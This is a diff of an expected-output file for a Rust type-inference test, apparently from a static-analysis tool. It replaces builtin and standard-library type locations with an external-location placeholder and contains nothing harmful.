main.rs:950:18:950:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:950:26:950:27 | p1 | | main.rs:902:5:908:5 | PairOption | | main.rs:950:26:950:27 | p1 | Fst | main.rs:921:5:922:14 | S1 | | main.rs:950:26:950:27 | p1 | Snd | main.rs:924:5:925:14 | S2 | @@ -1060,7 +1059,7 @@ inferType | main.rs:953:26:953:47 | ...::PairNone(...) | | main.rs:902:5:908:5 | PairOption | | main.rs:953:26:953:47 | ...::PairNone(...) | Fst | main.rs:921:5:922:14 | S1 | | main.rs:953:26:953:47 | ...::PairNone(...) | Snd | main.rs:924:5:925:14 | S2 | -| main.rs:954:18:954:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:954:18:954:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:954:26:954:27 | p2 | | main.rs:902:5:908:5 | PairOption | | main.rs:954:26:954:27 | p2 | Fst | main.rs:921:5:922:14 | S1 | | main.rs:954:26:954:27 | p2 | Snd | main.rs:924:5:925:14 | S2 | @@ -1071,7 +1070,7 @@ inferType | main.rs:957:34:957:56 | ...::PairSnd(...) | Fst | main.rs:924:5:925:14 | S2 | | main.rs:957:34:957:56 | ...::PairSnd(...) | Snd | main.rs:927:5:928:14 | S3 | | main.rs:957:54:957:55 | S3 | | main.rs:927:5:928:14 | S3 | -| main.rs:958:18:958:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:958:18:958:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:958:26:958:27 | p3 | | main.rs:902:5:908:5 | PairOption | | main.rs:958:26:958:27 | p3 | Fst | main.rs:924:5:925:14 | S2 | | main.rs:958:26:958:27 | p3 | Snd | main.rs:927:5:928:14 | S3 | @@ -1081,7 +1080,7 @@ inferType | main.rs:961:35:961:56 | ...::PairNone(...) | | main.rs:902:5:908:5 | PairOption | | main.rs:961:35:961:56 | ...::PairNone(...) | Fst | main.rs:924:5:925:14 | S2 | | main.rs:961:35:961:56 | ...::PairNone(...) | Snd | main.rs:927:5:928:14 | S3 | -| main.rs:962:18:962:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:962:18:962:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:962:26:962:27 | p3 | | main.rs:902:5:908:5 | PairOption | | main.rs:962:26:962:27 | p3 | Fst | main.rs:924:5:925:14 | S2 | | main.rs:962:26:962:27 | p3 | Snd | main.rs:927:5:928:14 | S3 | @@ -1129,7 +1128,7 @@ inferType | main.rs:999:40:999:40 | x | T | main.rs:995:10:995:10 | T | | main.rs:1008:13:1008:14 | x1 | | main.rs:969:5:973:5 | MyOption | | main.rs:1008:18:1008:37 | ...::new(...) | | main.rs:969:5:973:5 | MyOption | -| main.rs:1009:18:1009:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1009:18:1009:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1009:26:1009:27 | x1 | | main.rs:969:5:973:5 | MyOption | | main.rs:1011:13:1011:18 | mut x2 | | main.rs:969:5:973:5 | MyOption | | main.rs:1011:13:1011:18 | mut x2 | T | main.rs:1004:5:1005:13 | S | @@ -1138,14 +1137,14 @@ inferType | main.rs:1012:9:1012:10 | x2 | | main.rs:969:5:973:5 | MyOption | | main.rs:1012:9:1012:10 | x2 | T | main.rs:1004:5:1005:13 | S | | main.rs:1012:16:1012:16 | S | | main.rs:1004:5:1005:13 | S | -| main.rs:1013:18:1013:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1013:18:1013:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1013:26:1013:27 | x2 | | main.rs:969:5:973:5 | MyOption | | main.rs:1013:26:1013:27 | x2 | T | main.rs:1004:5:1005:13 | S | | main.rs:1015:13:1015:18 | mut x3 | | main.rs:969:5:973:5 | MyOption | | main.rs:1015:22:1015:36 | ...::new(...) | | main.rs:969:5:973:5 | MyOption | | main.rs:1016:9:1016:10 | x3 | | main.rs:969:5:973:5 | MyOption | | main.rs:1016:21:1016:21 | S | | main.rs:1004:5:1005:13 | S | -| main.rs:1017:18:1017:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1017:18:1017:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1017:26:1017:27 | x3 | | main.rs:969:5:973:5 | MyOption | | main.rs:1019:13:1019:18 | mut x4 | | main.rs:969:5:973:5 | MyOption | | main.rs:1019:13:1019:18 | mut x4 | T | main.rs:1004:5:1005:13 | S | @@ -1157,7 +1156,7 @@ inferType | main.rs:1020:28:1020:29 | x4 | | main.rs:969:5:973:5 | MyOption | | main.rs:1020:28:1020:29 | x4 | T | main.rs:1004:5:1005:13 | S | | main.rs:1020:32:1020:32 | S | | main.rs:1004:5:1005:13 | S | -| main.rs:1021:18:1021:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1021:18:1021:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1021:26:1021:27 | x4 | | main.rs:969:5:973:5 | MyOption | | main.rs:1021:26:1021:27 | x4 | T | main.rs:1004:5:1005:13 | S | | main.rs:1023:13:1023:14 | x5 | | main.rs:969:5:973:5 | MyOption | @@ -1168,7 +1167,7 @@ inferType | main.rs:1023:18:1023:58 | ...::MySome(...) | T.T | main.rs:1004:5:1005:13 | S | | main.rs:1023:35:1023:57 | ...::MyNone(...) | | main.rs:969:5:973:5 | MyOption | | main.rs:1023:35:1023:57 | ...::MyNone(...) | T | main.rs:1004:5:1005:13 | S | -| main.rs:1024:18:1024:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1024:18:1024:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1024:26:1024:27 | x5 | | main.rs:969:5:973:5 | MyOption | | main.rs:1024:26:1024:27 | x5 | T | main.rs:969:5:973:5 | MyOption | | main.rs:1024:26:1024:27 | x5 | T.T | main.rs:1004:5:1005:13 | S | @@ -1182,7 +1181,7 @@ inferType | main.rs:1026:18:1026:58 | ...::MySome(...) | T.T | main.rs:1004:5:1005:13 | S | | main.rs:1026:35:1026:57 | ...::MyNone(...) | | main.rs:969:5:973:5 | MyOption | | main.rs:1026:35:1026:57 | ...::MyNone(...) | T | main.rs:1004:5:1005:13 | S | -| main.rs:1027:18:1027:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1027:18:1027:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1027:26:1027:61 | ...::flatten(...) | | main.rs:969:5:973:5 | MyOption | | main.rs:1027:26:1027:61 | ...::flatten(...) | T | main.rs:1004:5:1005:13 | S | | main.rs:1027:59:1027:60 | x6 | | main.rs:969:5:973:5 | MyOption | @@ -1192,9 +1191,9 @@ inferType | main.rs:1030:13:1030:19 | from_if | T | main.rs:1004:5:1005:13 | S | | main.rs:1030:23:1034:9 | if ... {...} else {...} | | main.rs:969:5:973:5 | MyOption | | main.rs:1030:23:1034:9 | if ... {...} else {...} | T | main.rs:1004:5:1005:13 | S | -| main.rs:1030:26:1030:26 | 3 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1030:26:1030:30 | ... > ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1030:30:1030:30 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1030:26:1030:26 | 3 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1030:26:1030:30 | ... > ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1030:30:1030:30 | 2 | | {EXTERNAL LOCATION} | i32 | | main.rs:1030:32:1032:9 | { ... } | | main.rs:969:5:973:5 | MyOption | | main.rs:1030:32:1032:9 | { ... } | T | main.rs:1004:5:1005:13 | S | | main.rs:1031:13:1031:30 | ...::MyNone(...) | | main.rs:969:5:973:5 | MyOption | @@ -1204,39 +1203,39 @@ inferType | main.rs:1033:13:1033:31 | ...::MySome(...) | | main.rs:969:5:973:5 | MyOption | | main.rs:1033:13:1033:31 | ...::MySome(...) | T | main.rs:1004:5:1005:13 | S | | main.rs:1033:30:1033:30 | S | | main.rs:1004:5:1005:13 | S | -| main.rs:1035:18:1035:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1035:18:1035:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1035:26:1035:32 | from_if | | main.rs:969:5:973:5 | MyOption | | main.rs:1035:26:1035:32 | from_if | T | main.rs:1004:5:1005:13 | S | | main.rs:1038:13:1038:22 | from_match | | main.rs:969:5:973:5 | MyOption | | main.rs:1038:13:1038:22 | from_match | T | main.rs:1004:5:1005:13 | S | | main.rs:1038:26:1041:9 | match ... { ... } | | main.rs:969:5:973:5 | MyOption | | main.rs:1038:26:1041:9 | match ... { ... } | T | main.rs:1004:5:1005:13 | S | -| main.rs:1038:32:1038:32 | 3 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1038:32:1038:36 | ... > ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1038:36:1038:36 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1039:13:1039:16 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1038:32:1038:32 | 3 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1038:32:1038:36 | ... > ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1038:36:1038:36 | 2 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1039:13:1039:16 | true | | {EXTERNAL LOCATION} | bool | | main.rs:1039:21:1039:38 | ...::MyNone(...) | | main.rs:969:5:973:5 | MyOption | | main.rs:1039:21:1039:38 | ...::MyNone(...) | T | main.rs:1004:5:1005:13 | S | -| main.rs:1040:13:1040:17 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1040:13:1040:17 | false | | {EXTERNAL LOCATION} | bool | | main.rs:1040:22:1040:40 | ...::MySome(...) | | main.rs:969:5:973:5 | MyOption | | main.rs:1040:22:1040:40 | ...::MySome(...) | T | main.rs:1004:5:1005:13 | S | | main.rs:1040:39:1040:39 | S | | main.rs:1004:5:1005:13 | S | -| main.rs:1042:18:1042:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1042:18:1042:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1042:26:1042:35 | from_match | | main.rs:969:5:973:5 | MyOption | | main.rs:1042:26:1042:35 | from_match | T | main.rs:1004:5:1005:13 | S | | main.rs:1045:13:1045:21 | from_loop | | main.rs:969:5:973:5 | MyOption | | main.rs:1045:13:1045:21 | from_loop | T | main.rs:1004:5:1005:13 | S | | main.rs:1045:25:1050:9 | loop { ... } | | main.rs:969:5:973:5 | MyOption | | main.rs:1045:25:1050:9 | loop { ... } | T | main.rs:1004:5:1005:13 | S | -| main.rs:1046:16:1046:16 | 3 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1046:16:1046:20 | ... > ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1046:20:1046:20 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1046:16:1046:16 | 3 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1046:16:1046:20 | ... > ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1046:20:1046:20 | 2 | | {EXTERNAL LOCATION} | i32 | | main.rs:1047:23:1047:40 | ...::MyNone(...) | | main.rs:969:5:973:5 | MyOption | | main.rs:1047:23:1047:40 | ...::MyNone(...) | T | main.rs:1004:5:1005:13 | S | | main.rs:1049:19:1049:37 | ...::MySome(...) | | main.rs:969:5:973:5 | MyOption | | main.rs:1049:19:1049:37 | ...::MySome(...) | T | main.rs:1004:5:1005:13 | S | | main.rs:1049:36:1049:36 | S | | main.rs:1004:5:1005:13 | S | -| main.rs:1051:18:1051:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1051:18:1051:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1051:26:1051:34 | from_loop | | main.rs:969:5:973:5 | MyOption | | main.rs:1051:26:1051:34 | from_loop | T | main.rs:1004:5:1005:13 | S | | main.rs:1064:15:1064:18 | SelfParam | | main.rs:1057:5:1058:19 | S | @@ -1272,7 +1271,7 @@ inferType | main.rs:1078:18:1078:22 | S(...) | | main.rs:1057:5:1058:19 | S | | main.rs:1078:18:1078:22 | S(...) | T | main.rs:1060:5:1061:14 | S2 | | main.rs:1078:20:1078:21 | S2 | | main.rs:1060:5:1061:14 | S2 | -| main.rs:1079:18:1079:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1079:18:1079:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1079:26:1079:27 | x1 | | main.rs:1057:5:1058:19 | S | | main.rs:1079:26:1079:27 | x1 | T | main.rs:1060:5:1061:14 | S2 | | main.rs:1079:26:1079:32 | x1.m1() | | main.rs:1060:5:1061:14 | S2 | @@ -1281,12 +1280,12 @@ inferType | main.rs:1081:18:1081:22 | S(...) | | main.rs:1057:5:1058:19 | S | | main.rs:1081:18:1081:22 | S(...) | T | main.rs:1060:5:1061:14 | S2 | | main.rs:1081:20:1081:21 | S2 | | main.rs:1060:5:1061:14 | S2 | -| main.rs:1083:18:1083:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1083:18:1083:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1083:26:1083:27 | x2 | | main.rs:1057:5:1058:19 | S | | main.rs:1083:26:1083:27 | x2 | T | main.rs:1060:5:1061:14 | S2 | | main.rs:1083:26:1083:32 | x2.m2() | | file://:0:0:0:0 | & | | main.rs:1083:26:1083:32 | x2.m2() | &T | main.rs:1060:5:1061:14 | S2 | -| main.rs:1084:18:1084:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1084:18:1084:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1084:26:1084:27 | x2 | | main.rs:1057:5:1058:19 | S | | main.rs:1084:26:1084:27 | x2 | T | main.rs:1060:5:1061:14 | S2 | | main.rs:1084:26:1084:32 | x2.m3() | | file://:0:0:0:0 | & | @@ -1296,7 +1295,7 @@ inferType | main.rs:1086:18:1086:22 | S(...) | | main.rs:1057:5:1058:19 | S | | main.rs:1086:18:1086:22 | S(...) | T | main.rs:1060:5:1061:14 | S2 | | main.rs:1086:20:1086:21 | S2 | | main.rs:1060:5:1061:14 | S2 | -| main.rs:1088:18:1088:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1088:18:1088:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1088:26:1088:41 | ...::m2(...) | | file://:0:0:0:0 | & | | main.rs:1088:26:1088:41 | ...::m2(...) | &T | main.rs:1060:5:1061:14 | S2 | | main.rs:1088:38:1088:40 | &x3 | | file://:0:0:0:0 | & | @@ -1304,7 +1303,7 @@ inferType | main.rs:1088:38:1088:40 | &x3 | &T.T | main.rs:1060:5:1061:14 | S2 | | main.rs:1088:39:1088:40 | x3 | | main.rs:1057:5:1058:19 | S | | main.rs:1088:39:1088:40 | x3 | T | main.rs:1060:5:1061:14 | S2 | -| main.rs:1089:18:1089:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1089:18:1089:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1089:26:1089:41 | ...::m3(...) | | file://:0:0:0:0 | & | | main.rs:1089:26:1089:41 | ...::m3(...) | &T | main.rs:1060:5:1061:14 | S2 | | main.rs:1089:38:1089:40 | &x3 | | file://:0:0:0:0 | & | @@ -1321,13 +1320,13 @@ inferType | main.rs:1091:19:1091:23 | S(...) | | main.rs:1057:5:1058:19 | S | | main.rs:1091:19:1091:23 | S(...) | T | main.rs:1060:5:1061:14 | S2 | | main.rs:1091:21:1091:22 | S2 | | main.rs:1060:5:1061:14 | S2 | -| main.rs:1093:18:1093:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1093:18:1093:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1093:26:1093:27 | x4 | | file://:0:0:0:0 | & | | main.rs:1093:26:1093:27 | x4 | &T | main.rs:1057:5:1058:19 | S | | main.rs:1093:26:1093:27 | x4 | &T.T | main.rs:1060:5:1061:14 | S2 | | main.rs:1093:26:1093:32 | x4.m2() | | file://:0:0:0:0 | & | | main.rs:1093:26:1093:32 | x4.m2() | &T | main.rs:1060:5:1061:14 | S2 | -| main.rs:1094:18:1094:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1094:18:1094:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1094:26:1094:27 | x4 | | file://:0:0:0:0 | & | | main.rs:1094:26:1094:27 | x4 | &T | main.rs:1057:5:1058:19 | S | | main.rs:1094:26:1094:27 | x4 | &T.T | main.rs:1060:5:1061:14 | S2 | @@ -1342,12 +1341,12 @@ inferType | main.rs:1096:19:1096:23 | S(...) | | main.rs:1057:5:1058:19 | S | | main.rs:1096:19:1096:23 | S(...) | T | main.rs:1060:5:1061:14 | S2 | | main.rs:1096:21:1096:22 | S2 | | main.rs:1060:5:1061:14 | S2 | -| main.rs:1098:18:1098:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1098:18:1098:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1098:26:1098:27 | x5 | | file://:0:0:0:0 | & | | main.rs:1098:26:1098:27 | x5 | &T | main.rs:1057:5:1058:19 | S | | main.rs:1098:26:1098:27 | x5 | &T.T | main.rs:1060:5:1061:14 | S2 | | main.rs:1098:26:1098:32 | x5.m1() | | main.rs:1060:5:1061:14 | S2 | -| main.rs:1099:18:1099:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1099:18:1099:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1099:26:1099:27 | x5 | | file://:0:0:0:0 | & | | main.rs:1099:26:1099:27 | x5 | &T | main.rs:1057:5:1058:19 | S | | main.rs:1099:26:1099:27 | x5 | &T.T | main.rs:1060:5:1061:14 | S2 | @@ -1361,7 +1360,7 @@ inferType | main.rs:1101:19:1101:23 | S(...) | | main.rs:1057:5:1058:19 | S | | main.rs:1101:19:1101:23 | S(...) | T | main.rs:1060:5:1061:14 | S2 | | main.rs:1101:21:1101:22 | S2 | | main.rs:1060:5:1061:14 | S2 | -| main.rs:1103:18:1103:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1103:18:1103:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1103:26:1103:30 | (...) | | main.rs:1057:5:1058:19 | S | | main.rs:1103:26:1103:30 | (...) | T | main.rs:1060:5:1061:14 | S2 | | main.rs:1103:26:1103:35 | ... .m1() | | main.rs:1060:5:1061:14 | S2 | @@ -1386,7 +1385,7 @@ inferType | main.rs:1108:17:1108:18 | x7 | T.&T | main.rs:1060:5:1061:14 | S2 | | main.rs:1108:17:1108:23 | x7.m1() | | file://:0:0:0:0 | & | | main.rs:1108:17:1108:23 | x7.m1() | &T | main.rs:1060:5:1061:14 | S2 | -| main.rs:1109:18:1109:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1109:18:1109:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1109:26:1109:27 | x7 | | main.rs:1057:5:1058:19 | S | | main.rs:1109:26:1109:27 | x7 | T | file://:0:0:0:0 | & | | main.rs:1109:26:1109:27 | x7 | T.&T | main.rs:1060:5:1061:14 | S2 | @@ -1485,765 +1484,765 @@ inferType | main.rs:1181:15:1181:16 | &x | | file://:0:0:0:0 | & | | main.rs:1181:15:1181:16 | &x | &T | main.rs:1157:5:1157:13 | S | | main.rs:1181:16:1181:16 | x | | main.rs:1157:5:1157:13 | S | -| main.rs:1195:43:1198:5 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1195:43:1198:5 | { ... } | | {EXTERNAL LOCATION} | Result | | main.rs:1195:43:1198:5 | { ... } | E | main.rs:1188:5:1189:14 | S1 | | main.rs:1195:43:1198:5 | { ... } | T | main.rs:1188:5:1189:14 | S1 | | main.rs:1196:13:1196:13 | x | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1196:17:1196:30 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1196:17:1196:30 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | | main.rs:1196:17:1196:30 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | | main.rs:1196:17:1196:31 | TryExpr | | main.rs:1188:5:1189:14 | S1 | | main.rs:1196:28:1196:29 | S1 | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1197:9:1197:22 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1197:9:1197:22 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | | main.rs:1197:9:1197:22 | ...::Ok(...) | E | main.rs:1188:5:1189:14 | S1 | | main.rs:1197:9:1197:22 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | | main.rs:1197:20:1197:21 | S1 | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1201:46:1205:5 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1201:46:1205:5 | { ... } | | {EXTERNAL LOCATION} | Result | | main.rs:1201:46:1205:5 | { ... } | E | main.rs:1191:5:1192:14 | S2 | | main.rs:1201:46:1205:5 | { ... } | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1202:13:1202:13 | x | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1202:13:1202:13 | x | | {EXTERNAL LOCATION} | Result | | main.rs:1202:13:1202:13 | x | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1202:17:1202:30 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1202:17:1202:30 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | | main.rs:1202:17:1202:30 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | | main.rs:1202:28:1202:29 | S1 | | main.rs:1188:5:1189:14 | S1 | | main.rs:1203:13:1203:13 | y | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1203:17:1203:17 | x | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1203:17:1203:17 | x | | {EXTERNAL LOCATION} | Result | | main.rs:1203:17:1203:17 | x | T | main.rs:1188:5:1189:14 | S1 | | main.rs:1203:17:1203:18 | TryExpr | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1204:9:1204:22 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1204:9:1204:22 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | | main.rs:1204:9:1204:22 | ...::Ok(...) | E | main.rs:1191:5:1192:14 | S2 | | main.rs:1204:9:1204:22 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | | main.rs:1204:20:1204:21 | S1 | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1208:40:1213:5 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1208:40:1213:5 | { ... } | | {EXTERNAL LOCATION} | Result | | main.rs:1208:40:1213:5 | { ... } | E | main.rs:1191:5:1192:14 | S2 | | main.rs:1208:40:1213:5 | { ... } | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1209:13:1209:13 | x | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1209:13:1209:13 | x | T | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1209:13:1209:13 | x | | {EXTERNAL LOCATION} | Result | +| main.rs:1209:13:1209:13 | x | T | {EXTERNAL LOCATION} | Result | | main.rs:1209:13:1209:13 | x | T.T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1209:17:1209:42 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1209:17:1209:42 | ...::Ok(...) | T | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1209:17:1209:42 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1209:17:1209:42 | ...::Ok(...) | T | {EXTERNAL LOCATION} | Result | | main.rs:1209:17:1209:42 | ...::Ok(...) | T.T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1209:28:1209:41 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1209:28:1209:41 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | | main.rs:1209:28:1209:41 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | | main.rs:1209:39:1209:40 | S1 | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1211:17:1211:17 | x | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1211:17:1211:17 | x | T | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1211:17:1211:17 | x | | {EXTERNAL LOCATION} | Result | +| main.rs:1211:17:1211:17 | x | T | {EXTERNAL LOCATION} | Result | | main.rs:1211:17:1211:17 | x | T.T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1211:17:1211:18 | TryExpr | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1211:17:1211:18 | TryExpr | | {EXTERNAL LOCATION} | Result | | main.rs:1211:17:1211:18 | TryExpr | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1211:17:1211:29 | ... .map(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1212:9:1212:22 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1211:17:1211:29 | ... .map(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1212:9:1212:22 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | | main.rs:1212:9:1212:22 | ...::Ok(...) | E | main.rs:1191:5:1192:14 | S2 | | main.rs:1212:9:1212:22 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | | main.rs:1212:20:1212:21 | S1 | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1216:30:1216:34 | input | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1216:30:1216:34 | input | | {EXTERNAL LOCATION} | Result | | main.rs:1216:30:1216:34 | input | E | main.rs:1188:5:1189:14 | S1 | | main.rs:1216:30:1216:34 | input | T | main.rs:1216:20:1216:27 | T | -| main.rs:1216:69:1223:5 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1216:69:1223:5 | { ... } | | {EXTERNAL LOCATION} | Result | | main.rs:1216:69:1223:5 | { ... } | E | main.rs:1188:5:1189:14 | S1 | | main.rs:1216:69:1223:5 | { ... } | T | main.rs:1216:20:1216:27 | T | | main.rs:1217:13:1217:17 | value | | main.rs:1216:20:1216:27 | T | -| main.rs:1217:21:1217:25 | input | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1217:21:1217:25 | input | | {EXTERNAL LOCATION} | Result | | main.rs:1217:21:1217:25 | input | E | main.rs:1188:5:1189:14 | S1 | | main.rs:1217:21:1217:25 | input | T | main.rs:1216:20:1216:27 | T | | main.rs:1217:21:1217:26 | TryExpr | | main.rs:1216:20:1216:27 | T | -| main.rs:1218:22:1218:38 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1218:22:1218:38 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | | main.rs:1218:22:1218:38 | ...::Ok(...) | T | main.rs:1216:20:1216:27 | T | -| 